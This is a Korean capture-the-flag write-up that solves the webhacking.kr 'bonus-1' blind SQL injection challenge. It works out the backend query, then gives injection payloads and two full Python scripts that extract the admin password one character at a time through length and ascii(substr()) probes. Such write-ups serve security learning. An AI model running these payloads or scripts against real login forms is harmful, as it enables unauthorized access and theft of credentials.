
문제에 진입하면 BLIND SQL INJECTION 이라는 문구와 함께 로그인 창이 뜬다.
- guest를 입력했더니 로그인 “success”가 출력된다.
- 올바르지 않은 비밀번호를 입력하면 login fail이 출력된다.
혹시 내가 알아야 되는 것이 admin일까 싶어서 admin, admin을 넣어 봤더니 login fail이 나온다.
일단 URL을 보자.
<https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw=admin>
id와 pw값을 전달하는 데 GET방식을 이용함을 알 수 있다. 또한 url을 통해 컬럼 값을 유추할 수 있다.
그렇다면 파라미터를 통해 SQL Injection을 시도해본다.

guest' or id='admin' and pw='' or 1=1#
지금까지 볼 수 없었던 “wrong password”문구를 볼 수 있다.
쿼리를 약간 변형해보자.
guest or id='admin' and pw='' or 1=1#
맨 앞에 guest에서 ‘하나를 뺐더니 login fail이 나온다. SQL 문법 상 옳지 않은 쿼리문을 넣으면 login fail이 뜨는 모양이다.
그렇다면 웹 소스 코드도 유추해 볼 수 있겠다.
$result=mysqli_query($db,"select uid, upw from users where uid=($id) and upw=($pw)")
또한 GET 방식으로 id, pw를 보내서 맞는 쿼리가 나오면 wrong password가 나오는 모양이다.
결과를 보고 추론을 해보자면, sql 문의 결과로 부터 DB에서 id,pw를 불러오고 php에서 한번더 검증을 하는 과정이 있는 것 같으로 보인다.
DB에서 아무것도 반환되지 않으면 -> login fail
DB에서 반환이 되었지만 php 코드에서 한번더 검증할때 값이 틀리면 -> wrong password 로 출력이 되는 것 같다.
중요한건 1=1 부분과 1=2 부분에서 참 거짓을 판단할 수 있는 지점을 찾았기 때문에 저곳을 이용해서 Blind sql injection을 수행한다.
그렇다면 이 Result 값을 이용해서 Blind SQL Injection을 해보면 되겠다.
쿼리는 다음을 이용한다.
guest' and pw='' or id='admin' and length(pw)={?}#와 guest' and pw='' or id='admin' and ascii(substr(pw,{i+1},1)) = {character}#
익스플로잇 코드
import requests
URL = '<https://webhacking.kr/challenge/bonus-1/index.php?id=guest&>'
cookie = {'PHPSESSID':'8et7ndlj0ncjnnm4gr3ijr65ro'}
true_String='wrong password'
# Get_Password_length
PW_len = 1
while True:
param = f"pw=%27%20or%20id=%27admin%27%20and%20length(pw)={PW_len}%20%23"
r = requests.get(URL + param, cookies=cookie)
if r.text.count(true_String) != 0:
break
else:
PW_len += 1
print("PW_len: " + str(PW_len))
# Find_String
pw = ''
for i in range(PW_len):
character = 127 #ASCII 문자 범위의 최댓값부터 시작해서(127)
#해당 위치의 문자를 역방향으로 하나씩 확인.
while character>0: #ASCII 코드값이 1 이상일 동안 반복.
param = f"pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))%20=%20{character}%20%23"
r = requests.get(URL + param, cookies=cookie)
if r.text.count(true_String) != 0: #응답에 "wrong password" 문자열이 들어 있다면
#이 ASCII 값이 맞는 값이라는 뜻이므로 반복 종료.
break
else:
character -= 1
print(chr(character))
pw += chr(character)
print("PW: " + pw)
참고 : 비밀번호에 등장하는 문자는 제한적
비밀번호에 흔히 사용되는 ASCII 코드 범위는 다음과 같음:
문자 종류 ASCII 범위
| 숫자 | 48–57 |
| 대문자 | 65–90 |
| 소문자 | 97–122 |
| 특수문자 | 33–47, 58–64 등 |
전체 목적
substr(pw, i, 1)로 비밀번호에서 i번째 문자를 하나씩 추출해서, 그 문자의 ASCII 값을 추측해 맞춰가는 방식
id에 guest를 입력했다고 생각하고 이후에 코드에서 활용된 공격코드를 URL 인코딩 해보면 pw='' or id='admin' and length(pw)# 부분은
pw=%27%20or%20id=%27admin%27%20and%20length(pw)={PW_len}%20%23
그리고 pw='' or id='admin' and ascii(substr(pw,{?},1)) = {?}# 부분은
pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))%20=%20{character}%20%23
이렇게 코딩해서 공격해보았다.
비밀번호 길이 : 36

비밀번호 추출



다른 방법도 있다!
import requests
url='<https://webhacking.kr/challenge/bonus-1/index.php>'
params={'pw': 'admin'}
# To find length of password
pw_len=1
while True:
params['id']="admin' and length(pw)={} #".format(pw_len)
response=requests.get(url, params=params)
if "wrong password" in response.text:
break
pw_len+=1
print("pw_length: "+str(pw_len))
# To find password
pw=""
for a in range(1, pw_len+1):
for b in range(1, 128):
params['id']="admin' and ascii(substr(pw, {}, 1))={} #".format(a, b)
response=requests.get(url, params=params)
if "wrong password" in response.text:
# print(chr(b))
pw+=chr(b)
break
print("pw: "+pw)
다만 이 코드는 시간이 위에 코드보다 훨씬 더 오래걸린다.